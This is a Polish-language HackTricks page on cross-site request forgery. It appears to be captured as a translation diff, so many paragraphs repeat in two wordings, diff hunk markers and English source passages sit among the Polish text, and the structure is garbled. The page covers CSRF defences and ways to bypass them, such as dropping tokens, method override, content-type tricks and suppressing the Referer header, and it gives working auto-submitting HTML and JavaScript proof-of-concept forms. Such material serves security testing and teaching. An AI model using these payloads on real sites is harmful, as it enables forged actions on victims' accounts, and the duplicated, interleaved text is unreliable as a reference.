* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w hakerstwo**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Spojrzenie na Hacking**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Aktualności na żywo z hakerstwa**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom
**Aktualności Hakerskie na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakerskiego dzięki aktualnościom i spojrzeniom na żywo
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami nagród za błędy i ważnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) **i zacznij współpracować z najlepszymi hakerami już dziś!**
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Wyjaśnienie Cross-Site Request Forgery (CSRF)
**Cross-Site Request Forgery (CSRF)** to rodzaj podatności na zabezpieczenia znalezionej w aplikacjach internetowych. Umożliwia ona atakującym wykonanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest wykonywany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą witrynę. Ta witryna wywołuje następnie żądania do konta ofiary za pomocą metod takich jak wykonanie JavaScriptu, przesłanie formularzy lub pobranie obrazów.
**Cross-Site Request Forgery (CSRF)** to rodzaj podatności na bezpieczeństwo występującej w aplikacjach internetowych. Umożliwia atakującym wykonywanie działań w imieniu nieświadomych użytkowników poprzez wykorzystanie ich uwierzytelnionych sesji. Atak jest wykonywany, gdy użytkownik zalogowany na platformie ofiary odwiedza złośliwą witrynę. Następnie ta witryna wywołuje żądania do konta ofiary za pomocą metod takich jak wykonanie JavaScript, przesłanie formularzy lub pobranie obrazów.
### Wymagania wstępne dla ataku CSRF
Aby wykorzystać podatność CSRF, muszą zostać spełnione kilka warunków:
### Wymagane warunki do ataku CSRF
1. **Zidentyfikuj cenną akcję**: Atakujący musi znaleźć akcję, którą warto wykorzystać, taką jak zmiana hasła użytkownika, adresu e-mail lub podniesienie uprawnień.
2. **Zarządzanie sesją**: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą plików cookie lub nagłówka autoryzacji podstawowej HTTP, ponieważ inne nagłówki nie mogą być manipulowane w tym celu.
3. **Brak nieprzewidywalnych parametrów**: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, ponieważ mogą one uniemożliwić atak.
Aby wykorzystać podatność CSRF, należy spełnić kilka warunków:
### Obrona przed CSRF
Można zastosować kilka środków zaradczych, aby chronić się przed atakami CSRF:
1. **Identyfikacja Cennej Akcji**: Atakujący musi znaleźć akcję warta wykorzystania, taką jak zmiana hasła użytkownika, adresu e-mail lub podniesienie uprawnień.
2. **Zarządzanie Sesją**: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą plików cookie lub nagłówka uwierzytelniania podstawowego HTTP, ponieważ inne nagłówki nie mogą być manipulowane w tym celu.
3. **Brak Nieprzewidywalnych Parametrów**: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, ponieważ mogą one uniemożliwić atak.
* [**SameSite cookies**](hacking-with-cookies/#samesite): Ta atrybut zapobiega przesyłaniu plików cookie przez przeglądarkę wraz z żądaniami między witrynami. [Więcej na temat plików cookie SameSite](hacking-with-cookies/#samesite).
* [**Cross-origin resource sharing**](cors-bypass.md): Polityka CORS witryny ofiary może wpływać na wykonalność ataku, zwłaszcza jeśli atak wymaga odczytu odpowiedzi z witryny ofiary. [Dowiedz się więcej o obejściu CORS](cors-bypass.md).
* **Weryfikacja użytkownika**: Wymaganie podania hasła użytkownika lub rozwiązanie captcha może potwierdzić intencję użytkownika.
* **Sprawdzanie nagłówków Referrer lub Origin**: Sprawdzanie tych nagłówków może pomóc upewnić się, że żądania pochodzą od zaufanych źródeł. Jednak staranne tworzenie adresów URL może obejść słabo zaimplementowane sprawdzanie, na przykład:
- Używanie `http://mal.net?orig=http://example.com` (adres URL kończy się zaufanym adresem URL)
- Używanie `http://example.com.mal.net` (adres URL zaczyna się od zaufanego adresu URL)
* **Modyfikowanie nazw parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu automatycznym atakom.
* **Tokeny CSRF**: Włączenie unikalnego tokenu CSRF w każdej sesji i wymaganie tego tokenu w kolejnych żądaniach może znacznie zmniejszyć ryzyko ataku CSRF. Skuteczność tokenu można zwiększyć poprzez wymuszenie CORS.
### Szybkie Sprawdzenie
Zrozumienie i wdrożenie tych obronnych środków jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
Możesz **przechwycić żądanie w Burp** i sprawdzić zabezpieczenia CSRF oraz przetestować z przeglądarki, klikając na **Kopiuj jako fetch** i sprawdzając żądanie:
## Ominięcie obron
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
### Z POST na GET
### Obrona Przed CSRF
Być może formularz, który chcesz wykorzystać, jest przygotowany do wysyłania **żądania POST z tokenem CSRF**, ale powinieneś **sprawdzić**, czy **żądanie GET** jest również **ważne** i czy podczas wysyłania żądania GET **token CSRF jest wciąż weryfikowany**.
Można wdrożyć kilka środków zaradczych, aby chronić się przed atakami CSRF:
* [**Pliki cookie SameSite**](hacking-with-cookies/#samesite): Ta atrybut zapobiega przesyłaniu plików cookie przez przeglądarkę wraz z żądaniami między witrynami. [Więcej o plikach cookie SameSite](hacking-with-cookies/#samesite).
* [**Współdzielenie zasobów między domenami**](cors-bypass.md): Polityka CORS witryny ofiary może wpłynąć na wykonalność ataku, zwłaszcza jeśli atak wymaga odczytu odpowiedzi z witryny ofiary. [Dowiedz się więcej o omijaniu CORS](cors-bypass.md).
* **Weryfikacja Użytkownika**: Wymaganie podania hasła użytkownika lub rozwiązanie captcha może potwierdzić intencje użytkownika.
* **Sprawdzanie Nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą od zaufanych źródeł. Jednak staranne tworzenie adresów URL może obejść słabo zaimplementowane sprawdzenia, takie jak:
* Użycie `http://mal.net?orig=http://example.com` (URL kończy się zaufanym adresem URL)
* Użycie `http://example.com.mal.net` (URL zaczyna się od zaufanego adresu URL)
* **Modyfikacja Nazw Parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu automatycznym atakom.
* **Tokeny CSRF**: Włączenie unikalnego tokenu CSRF w każdej sesji i wymaganie tego tokenu w kolejnych żądaniach może znacząco zmniejszyć ryzyko CSRF. Skuteczność tokenu można zwiększyć, wymuszając CORS.
Zrozumienie i wdrożenie tych obron jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
## Ominięcia Obron
### Od POST do GET
Być może formularz, który chcesz wykorzystać, jest przygotowany do wysłania **żądania POST z tokenem CSRF**, jednak powinieneś **sprawdzić**, czy **GET** jest również **ważny** i czy podczas wysyłania żądania GET **token CSRF jest wciąż weryfikowany**.
### Brak tokenu
Aplikacje mogą implementować mechanizm **weryfikacji tokenów**, gdy są obecne. Jednak podatność pojawia się, jeśli weryfikacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą wykorzystać to, **usuwając parametr**, który przenosi token, nie tylko jego wartość. Pozwala to ominąć proces weryfikacji i skutecznie przeprowadzić atak Cross-Site Request Forgery (CSRF).
Aplikacje mogą wdrożyć mechanizm **weryfikacji tokenów**, gdy są obecne. Jednak pojawia się podatność, jeśli weryfikacja jest pomijana całkowicie, gdy token jest nieobecny. Atakujący mogą wykorzystać to, **usuwając parametr**, który przenosi token, a nie tylko jego wartość. Pozwala to im ominąć proces weryfikacji i skutecznie przeprowadzić atak typu Cross-Site Request Forgery (CSRF).
### Token CSRF nie jest powiązany z sesją użytkownika
Aplikacje, które **nie wiążą tokenów CSRF z sesjami użytkowników**, stanowią znaczne **ryzyko dla bezpieczeństwa**. Te systemy weryfikują tokeny w oparciu o **globalny pul** zamiast zapewniać, że każdy token jest powiązany z sesją inicjującą.
Aplikacje **niepowiązujące tokenów CSRF z sesjami użytkowników** stanowią znaczne **ryzyko bezpieczeństwa**. Te systemy weryfikują tokeny w oparciu o **globalny pulę**, zamiast zapewnić, że każdy token jest związany z sesją inicjującą.
Oto, jak atakujący wykorzystują to:
Oto jak atakujący wykorzystują tę podatność:
1. **Uwierzytelnij** się za pomocą własnego konta.
2. **Uzyskaj ważny token CSRF** z globalnego pulu.
3. **Użyj tego tokenu** w ataku CSRF przeciwko ofierze.
1. **Uwierzytelniają się** za pomocą własnego konta.
2. **Uzyskują ważny token CSRF** z globalnej puli.
3. **Wykorzystują ten token** w ataku CSRF przeciwko ofierze.
Ta podatność pozwala atakującym na dokonywanie nieautoryzowanych żądań w imieniu ofiary, wykorzystując **niewystarczający mechanizm weryfikacji tokenów** aplikacji.
Ta podatność pozwala atakującym na dokonywanie nieautoryzowanych żądań w imieniu ofiary, wykorzystując **niewystarczający mechanizm weryfikacji tokenów aplikacji**.
### Ominięcie metody
Jeśli żądanie używa "**dziwnej**" **metody**, sprawdź, czy działa funkcjonalność **zastępowania metody**.
Na przykład, jeśli używa metody **PUT**, możesz spróbować użyć metody **POST** i **wysłać**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Jeśli żądanie używa "**dziwnej**" **metody**, sprawdź, czy funkcjonalność **nadpisywania metody** działa. Na przykład, jeśli **używa metody PUT**, możesz spróbować **użyć metody POST** i **wysłać**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
To może również działać, wysyłając **parametr \_method wewnątrz żądania POST** lub używając **nagłówków**:
To również może działać, wysyłając **parametr \_method wewnątrz żądania POST** lub używając **nagłówków**:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
@ -90,9 +96,18 @@ To może również działać, wysyłając **parametr \_method wewnątrz żądani
### Ominięcie niestandardowego tokenu nagłówka
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metodę ochrony CSRF**, to:
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metoda ochrony CSRF**, wtedy:
*
* Przetestuj żądanie bez **Niestandardowego Tokenu oraz nagłówka.**
* Przetestuj żądanie z dokładnie **taką samą długością, ale innym tokenem**.
### Token CSRF jest weryfikowany przez plik cookie
Aplikacje mogą wdrożyć ochronę CSRF poprzez zduplikowanie tokenu zarówno w pliku cookie, jak i parametrze żądania lub poprzez ustawienie pliku cookie CSRF i weryfikację, czy token wysłany w backendzie odpowiada plikowi cookie. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w pliku cookie.
Jednak ta metoda jest podatna na ataki CSRF, jeśli strona internetowa ma wady pozwalające atakującemu na ustawienie pliku cookie CSRF w przeglądarce ofiary, takie jak podatność CRLF. Atakujący mogą wykorzystać to, ładując wprowadzający w błąd obraz, który ustawia plik cookie, a następnie rozpoczynając atak CSRF.
Poniżej znajduje się przykład, jak można zbudować atak:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -112,15 +127,15 @@ Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania
Zauważ, że jeśli **token csrf jest powiązany z ciasteczkiem sesji, ten atak nie zadziała**, ponieważ będziesz musiał ustawić ofiarze swoją sesję, a więc będziesz atakować siebie.
{% endhint %}
### Zmiana typu zawartości (Content-Type)
### Zmiana typu zawartości
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), aby **uniknąć żądań wstępnych** przy użyciu metody **POST**, dozwolone są następujące wartości Content-Type:
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), aby **uniknąć żądań wstępnych** przy użyciu metody **POST**, dozwolone są następujące wartości typu zawartości:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
Jednak zauważ, że **logika serwera może się różnić** w zależności od użytego Content-Type, dlatego powinieneś wypróbować wymienione wartości oraz inne, takie jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Jednak zauważ, że **logika serwera może się różnić** w zależności od użytego **typu zawartości**, dlatego powinieneś wypróbować wymienione wartości oraz inne, takie jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Przykład (z [tutaj](https://brycec.me/posts/corctf\_2021\_challenges)) wysyłania danych JSON jako text/plain:
```html
@ -135,33 +150,31 @@ form.submit();
</body>
</html>
```
### Omijanie żądań Preflight dla danych JSON
### Ominięcie żądań wstępnych dla danych JSON
Przy próbie wysłania danych JSON za pomocą żądania POST, bezpośrednie użycie `Content-Type: application/json` w formularzu HTML nie jest możliwe. Podobnie, korzystanie z `XMLHttpRequest` do wysyłania tego typu zawartości inicjuje żądanie Preflight. Niemniej jednak istnieją strategie, które potencjalnie umożliwiają obejście tego ograniczenia i sprawdzenie, czy serwer przetwarza dane JSON niezależnie od Content-Type:
Podczas próby wysłania danych JSON za pomocą żądania POST, użycie `Content-Type: application/json` w formularzu HTML nie jest bezpośrednio możliwe. Podobnie, wykorzystanie `XMLHttpRequest` do wysłania tego typu zawartości inicjuje żądanie wstępne. Niemniej jednak istnieją strategie, aby potencjalnie ominąć to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:
1. **Użyj alternatywnych typów zawartości**: Wykorzystaj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. Ta metoda testuje, czy backend używa danych bez względu na Content-Type.
2. **Modyfikuj typ zawartości**: Aby uniknąć żądania Preflight, jednocześnie zapewniając, że serwer rozpoznaje zawartość jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie wywołuje żądania Preflight, ale może być poprawnie przetwarzane przez serwer, jeśli jest skonfigurowany do akceptowania `application/json`.
3. **Wykorzystanie pliku SWF Flash**: Mniej popularna, ale możliwa metoda obejścia takich ograniczeń polega na użyciu pliku SWF Flash. Aby uzyskać bardziej szczegółowe informacje na temat tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Użyj alternatywnych typów zawartości**: Wykorzystaj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. Ten sposób testuje, czy serwer używa danych bez względu na Content-Type.
2. **Zmodyfikuj typ zawartości**: Aby uniknąć żądania wstępnego, jednocześnie zapewniając, że serwer rozpoznaje zawartość jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie powoduje żądania wstępnego, ale może być poprawnie przetworzone przez serwer, jeśli jest skonfigurowany do akceptowania `application/json`.
3. **Wykorzystanie pliku SWF Flash**: Mniej popularna, ale możliwa metoda polega na użyciu pliku SWF flash do ominięcia takich ograniczeń. Aby uzyskać dogłębną wiedzę na temat tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Ominięcie sprawdzania Referrer / Origin
**Unikaj nagłówka Referrer**
Aplikacje mogą sprawdzać nagłówek 'Referer' tylko wtedy, gdy jest obecny. Aby uniemożliwić przeglądarce wysłanie tego nagłówka, można użyć następującego znacznika meta w HTML:
Aplikacje mogą sprawdzać nagłówek 'Referer' tylko wtedy, gdy jest obecny. Aby uniemożliwić przeglądarce wysłanie tego nagłówka, można użyć następującego tagu meta HTML:
```xml
<meta name="referrer" content="never">
```
To zapewnia, że nagłówek 'Referer' jest pomijany, co potencjalnie omija sprawdzanie poprawności w niektórych aplikacjach.
To zapewnia, że nagłówek „Referer” jest pominięty, co potencjalnie omija kontrole walidacji w niektórych aplikacjach.
**Omijanie wyrażeń regularnych**
**Ominięcia wyrażeń regularnych**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
Aby ustawić nazwę domeny serwera w adresie URL, który Referrer ma wysłać wewnątrz parametrów, można to zrobić:
Aby ustawić nazwę domeny serwera w adresie URL, który zostanie wysłany przez Referrera wewnątrz parametrów, można użyć:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -180,25 +193,25 @@ document.forms[0].submit();
</body>
</html>
```
### **Metoda obejścia HEAD**
### **Bypass metody HEAD**
Pierwsza część [**tego opisu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że [kod źródłowy Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), routera jest ustawiony tak, aby **obsługiwać żądania HEAD jako żądania GET** bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oak. Zamiast konkretnego obsługiwania żądań HEAD, są one po prostu **przekazywane do obsługi GET, ale aplikacja usuwa ciało odpowiedzi**.
Pierwsza część [**tego opisu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że [kod źródłowy Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router jest ustawiony do **obsługi żądań HEAD jako żądań GET** bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oak. Zamiast konkretnego obsługującego żądania HEAD, są one po prostu **przekazywane do obsługującego GET, ale aplikacja po prostu usuwa ciało odpowiedzi**.
Dlatego, jeśli żądanie GET jest ograniczone, można po prostu **wysłać żądanie HEAD, które zostanie przetworzone jako żądanie GET**.
## **Przykłady wykorzystania**
## **Przykłady eksploatacji**
### **Wyciekanie tokenu CSRF**
### **Wyciekanie tokena CSRF**
Jeśli jako **obronę** używany jest **token CSRF**, można spróbować go **wyciec** wykorzystując podatność [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) lub podatność [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
Jeśli **token CSRF** jest używany jako **obrona**, można spróbować go **wyciec** wykorzystując podatność [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) lub podatność [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
### **GET za pomocą znaczników HTML**
### **GET za pomocą tagów HTML**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Inne znaczniki HTML5, które można użyć do automatycznego wysłania żądania GET, to:
Inne tagi HTML5, które mogą być użyte do automatycznego wysłania żądania GET to:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -219,51 +232,7 @@ body { background: url('...'); }
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
```
### Formularz żądania GET
A GET request is a type of HTTP request that is used to retrieve data from a server. In the context of web applications, a GET request is commonly used when submitting a form. When a user submits a form using the GET method, the form data is appended to the URL as query parameters.
For example, consider the following form:
```html
<form action="/search" method="GET">
<input type="text" name="query" placeholder="Search...">
<button type="submit">Search</button>
</form>
```
In this form, when the user enters a search query and clicks the "Search" button, a GET request will be sent to the server with the form data appended to the URL. The resulting URL might look like this:
```
/search?query=example
```
The server can then use the query parameter to process the search query and return the appropriate results.
It's important to note that GET requests should only be used for retrieving data and should not have any side effects on the server. This means that a GET request should not modify any data on the server or have any other unintended consequences.
### Żądanie GET formularza
Żądanie GET to rodzaj żądania HTTP, które służy do pobierania danych z serwera. W kontekście aplikacji internetowych żądanie GET jest często używane podczas przesyłania formularza. Gdy użytkownik przesyła formularz za pomocą metody GET, dane formularza są dołączane do adresu URL jako parametry zapytania.
Na przykład, rozważmy następujący formularz:
```html
<form action="/search" method="GET">
<input type="text" name="query" placeholder="Szukaj...">
<button type="submit">Szukaj</button>
</form>
```
W tym formularzu, gdy użytkownik wpisze zapytanie wyszukiwania i kliknie przycisk "Szukaj", zostanie wysłane żądanie GET do serwera z danymi formularza dołączonymi do adresu URL. Wynikowy adres URL może wyglądać tak:
```
/search?query=przykład
```
Serwer może następnie użyć parametru zapytania do przetworzenia zapytania wyszukiwania i zwrócenia odpowiednich wyników.
Warto zauważyć, że żądania GET powinny być używane tylko do pobierania danych i nie powinny mieć żadnych skutków ubocznych na serwerze. Oznacza to, że żądanie GET nie powinno modyfikować żadnych danych na serwerze ani mieć innych niezamierzonych konsekwencji.
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -280,20 +249,6 @@ document.forms[0].submit();
</html>
```
### Formularz żądania POST
A form POST request is a type of HTTP request that is used to submit data to a server. It is commonly used in web applications to send data from a user's browser to the server for processing. The data is typically sent as key-value pairs, where the keys represent the names of the form fields and the values represent the user's input.
To make a form POST request, the user fills out a form on a web page and clicks a submit button. The browser then sends an HTTP POST request to the server, including the form data in the request body. The server processes the data and may perform actions based on the submitted values.
Form POST requests are vulnerable to Cross-Site Request Forgery (CSRF) attacks, where an attacker tricks a user into unknowingly submitting a malicious form on a trusted website. To protect against CSRF attacks, web applications can implement measures such as using CSRF tokens or checking the origin of the request.
### Żądanie POST formularza
Żądanie POST formularza to rodzaj żądania HTTP, które służy do przesyłania danych do serwera. Jest powszechnie stosowane w aplikacjach internetowych do przesyłania danych z przeglądarki użytkownika do serwera w celu ich przetworzenia. Dane są zwykle przesyłane jako pary klucz-wartość, gdzie klucze reprezentują nazwy pól formularza, a wartości reprezentują wprowadzone przez użytkownika dane.
Aby wysłać żądanie POST formularza, użytkownik wypełnia formularz na stronie internetowej i kliknie przycisk "Wyślij". Przeglądarka wysyła wtedy żądanie HTTP POST do serwera, włączając dane formularza w treść żądania. Serwer przetwarza dane i może wykonywać działania na podstawie przesłanych wartości.
Żądania POST formularza są podatne na ataki Cross-Site Request Forgery (CSRF), gdzie atakujący wprowadza użytkownika w błąd, aby nieświadomie wysłał złośliwy formularz na zaufanej stronie internetowej. Aby chronić się przed atakami CSRF, aplikacje internetowe mogą zastosować środki takie jak użycie tokenów CSRF lub sprawdzanie pochodzenia żądania.
```html
<html>
<body>
@ -309,23 +264,11 @@ document.forms[0].submit(); //Way 3 to autosubmit
</body>
</html>
```
### Formularz żądania POST za pomocą iframe
### Wysyłanie żądania POST formularzem za pomocą elementu iframe
In some cases, attackers can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by using an iframe to submit a form POST request. This technique allows the attacker to trick the victim into unknowingly submitting a malicious request.
Translated text:
W niektórych przypadkach atakujący mogą wykorzystać podatności na Cross-Site Request Forgery (CSRF), używając iframe do wysłania żądania POST formularza. Ta technika pozwala atakującemu wprowadzić ofiarę w błąd, aby nieświadomie wysłała złośliwe żądanie.
To perform this attack, the attacker first creates a hidden iframe on a malicious website. The iframe is then loaded with the target website's form, which the attacker has tampered with. The form is pre-filled with the desired malicious values.
Aby przeprowadzić ten atak, atakujący najpierw tworzy ukryte iframe na złośliwej stronie internetowej. Następnie iframe jest ładowane formularzem docelowej witryny, który atakujący zmodyfikował. Formularz jest wstępnie wypełniony żądanymi złośliwymi wartościami.
When the victim visits the malicious website, the hidden iframe automatically submits the form, sending the malicious request to the target website. Since the request originates from the victim's browser, it appears legitimate to the target website.
Kiedy ofiara odwiedza złośliwą stronę internetową, ukryte iframe automatycznie wysyła formularz, przesyłając złośliwe żądanie do docelowej witryny. Ponieważ żądanie pochodzi z przeglądarki ofiary, wydaje się ono autentyczne dla docelowej witryny.
To protect against this type of attack, web developers should implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict SameSite cookie policies.
Aby chronić się przed tego rodzaju atakiem, programiści internetowi powinni zastosować środki takie jak używanie tokenów anti-CSRF, sprawdzanie pochodzenia żądań i wdrażanie restrykcyjnych polityk plików cookie SameSite.
### Wysyłanie żądania POST formularzem za pomocą elementu iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -343,11 +286,7 @@ document.forms[0].submit();
</body>
</html>
```
### **Zapytanie Ajax POST**
Ajax POST request is a type of HTTP request that is sent asynchronously to the server using the Ajax technology. It is commonly used to send data to the server without reloading the entire web page. This type of request is vulnerable to Cross-Site Request Forgery (CSRF) attacks.
Zapytanie Ajax POST to rodzaj żądania HTTP, które jest wysyłane asynchronicznie do serwera za pomocą technologii Ajax. Jest powszechnie stosowane do wysyłania danych do serwera bez konieczności ponownego ładowania całej strony internetowej. Ten rodzaj żądania jest podatny na ataki Cross-Site Request Forgery (CSRF).
### **Zapytanie POST Ajax**
```html
<script>
var xh;
@ -375,38 +314,6 @@ data: "param=value&param2=value2"
</script>
```
### żądanie POST z użyciem multipart/form-data
A `multipart/form-data` POST request is commonly used to submit data, especially files, through HTML forms. This type of request allows for the transmission of binary data, such as images or documents, along with other form fields.
To craft a `multipart/form-data` POST request, you need to include the following components:
1. Set the `Content-Type` header to `multipart/form-data`.
2. Use a boundary string to separate the different parts of the request.
3. Include each form field as a separate part, with a `Content-Disposition` header specifying the field name.
4. For file uploads, include the file as a separate part, with a `Content-Disposition` header specifying the field name and the file name.
Here's an example of a `multipart/form-data` POST request:
```http
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
-----------------------------1234567890
Content-Disposition: form-data; name="username"
john.doe
-----------------------------1234567890
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
Content-Type: image/jpeg
...binary data of the image...
-----------------------------1234567890--
```
Remember to replace `example.com` with the actual target domain and adjust the field names, file names, and binary data accordingly.
By understanding how `multipart/form-data` POST requests work, you can effectively interact with web applications that utilize this form of data submission.
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
@ -419,47 +326,7 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### żądanie POST multipart/form-data v2
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request. This type of request is commonly used for file uploads and form submissions that require binary data.
W tej technice będziemy badać, jak przeprowadzić atak Cross-Site Request Forgery (CSRF) za pomocą żądania POST multipart/form-data. Ten rodzaj żądania jest często używany do przesyłania plików i wysyłania formularzy, które wymagają danych binarnych.
To execute this attack, we need to create a malicious HTML page that will trick the victim into submitting the CSRF request. The page will contain a form with hidden fields that will automatically submit the request when loaded.
Aby przeprowadzić ten atak, musimy stworzyć złośliwą stronę HTML, która oszuka ofiarę i spowoduje wysłanie żądania CSRF. Strona będzie zawierać formularz z ukrytymi polami, które automatycznie wyślą żądanie po załadowaniu.
Here is an example of the HTML code for the malicious page:
Oto przykład kodu HTML dla złośliwej strony:
```html
<html>
<body>
<h1>Click the button!</h1>
<form action="https://example.com/upload" method="POST" enctype="multipart/form-data">
<input type="hidden" name="csrf_token" value="attacker_token">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
In this example, the form action points to the target website's upload endpoint. The hidden field "csrf_token" is set to the attacker's token, which will be used to bypass CSRF protection. The file input field allows the attacker to upload a file, and the submit button triggers the automatic submission of the form.
W tym przykładzie, atrybut "action" formularza wskazuje na punkt końcowy przesyłania na docelowej stronie internetowej. Ukryte pole "csrf_token" jest ustawione na token atakującego, który będzie używany do ominięcia ochrony CSRF. Pole "file" pozwala atakującemu przesłać plik, a przycisk "submit" wywołuje automatyczne wysłanie formularza.
When the victim visits the malicious page, the form will be automatically submitted, sending the CSRF request to the target website. If the victim is authenticated on the target website and has the necessary privileges, the request will be processed as if it came from the victim.
Kiedy ofiara odwiedza złośliwą stronę, formularz zostanie automatycznie wysłany, wysyłając żądanie CSRF na docelową stronę internetową. Jeśli ofiara jest uwierzytelniona na docelowej stronie i ma odpowiednie uprawnienia, żądanie zostanie przetworzone tak, jakby pochodziło od ofiary.
It is important to note that this technique may not work if the target website has implemented additional security measures, such as anti-CSRF tokens that are validated on the server-side.
Warto zauważyć, że ta technika może nie działać, jeśli docelowa strona internetowa zaimplementowała dodatkowe środki bezpieczeństwa, takie jak tokeny anti-CSRF, które są sprawdzane po stronie serwera.
### Wieloczęściowe żądanie POST z użyciem typu danych multipart/form-data v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -479,23 +346,7 @@ body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Formularz żądania POST z wnętrza iframe
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack by embedding the form within an iframe on a malicious website.
Kiedy formularz HTML zostaje wysłany, przeglądarka wysyła żądanie POST pod wskazany adres URL. To zachowanie może zostać wykorzystane w ataku Cross-Site Request Forgery (CSRF), poprzez osadzenie formularza wewnątrz iframe na złośliwej stronie internetowej.
To execute a CSRF attack using an iframe, the attacker needs to create a form with the desired parameters and target URL. This form is then embedded within an iframe on the attacker's website. When a user visits the attacker's website, the form is automatically submitted without their knowledge or consent.
